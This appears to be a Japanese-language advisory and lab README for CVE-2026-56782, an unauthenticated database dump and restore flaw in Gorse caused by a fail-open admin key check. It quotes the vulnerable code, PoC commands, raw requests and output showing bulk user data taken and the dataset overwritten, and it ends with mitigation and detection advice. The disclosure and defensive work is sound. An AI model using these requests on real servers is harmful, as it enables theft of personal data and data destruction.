CVE-2026-56782 — Gorse <0.5.10 認証されていない DB ダンプ/リストア (admin_api_key フェイルオープン)。ラボ + PoC、エンドツーエンド検証済み。
| CVE | CVE-2026-56782 |
| 影響を受ける | Gorse < 0.5.10 |
| 修正版 | 0.5.10 |
| 分類 | CWE-305 (プライマリ脆弱性による認証バイパス) / CWE-306 (認証欠如) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | 不要 (デフォルトの admin_api_key は空) |
| エンドポイント | GET /api/dump, POST /api/restore (マスターHTTP、デフォルトポート 8088) |
| ステータス | 確認済み — zhenghaoz/gorse-in-one:0.5.8 でエンドツーエンドの再現済み |
master/rest.go では、ダンプ/復元ハンドラを checkAdmin() で保護しています:
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- フェイルオープン: キーが未設定 => 全員が管理者
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // すべてのユーザー、アイテム、フィードバック行をストリーム出力
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — データセットを上書き
}
出荷時の config/config.toml では admin_api_key = "" と設定されています。デフォルト設定では、checkAdmin() は すべての リクエストに対して true を返します — X-API-Key ヘッダは一切参照されないため、両方のエンドポイントが全世界から読み取り・書き込み可能になります。
GET /api/dump は全データベースをストリーム出力します:すべてのユーザーIDとラベル、すべてのアイテム、フィードバックグラフ全体(誰が何とやり取りしたか)。実際の製品を支えるレコメンダーにおいては、これは大量のPII/行動データとなります。POST /api/restore はデータセットを攻撃者提供のコンテンツで置き換えるため、サイレントなデータポイズニングや破壊が可能です。# 1. 脆弱なサーバを起動(公式イメージ、デフォルト設定=認証なし)
docker compose -f lab/docker-compose.yml up -d
# --playground により、実際のユーザー/アイテム/フィードバックデータセットがシードされ、不正取得可能になります。
# 2. PoC を実行(認証情報不要)
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
確認結果:
[*] GET http://127.0.0.1:8088/api/dump (X-API-Key ヘッダなし)
[*] HTTP 200 content-type: application/octet-stream
[+] 認証なしデータ不正取得を確認
users : 2079
items : 22320
feedback : 331901
payload : 262747105 protobuf bytes
sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (X-API-Key ヘッダなし、EOFのみの本文)
[+] HTTP 200 (401ではない) - checkAdmin をバイパス: /api/restore は認証なしで書き込み可能です。
偽の X-API-Key ヘッダでも依然として 200 が返ります — これは、admin_api_key が未設定の場合(フェイルオープンパス)にキーが完全に無視され、単なる照合ではないことを確認しています。
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<ダンプストリーム: int64 LE マーカー (-1 ユーザー, -2 アイテム, -3 フィードバック, 0 EOF) + 長さプレフィックス付き protobuf>
admin_api_key(および dashboard の認証情報)を設定し、マスターの前面でTLSを終端し、マスターHTTPポート (8088) を信頼できないネットワークに公開しないでください。マスターポートへの GET /api/dump または POST /api/restore を、有効な X-API-Key を持たないクライアントから検出し、/api/dump からの大規模な application/octet-stream レスポンスをアラートします。
リクエストフロー、ダンプストリーム形式、パッチの詳細については ANALYSIS.md を参照してください。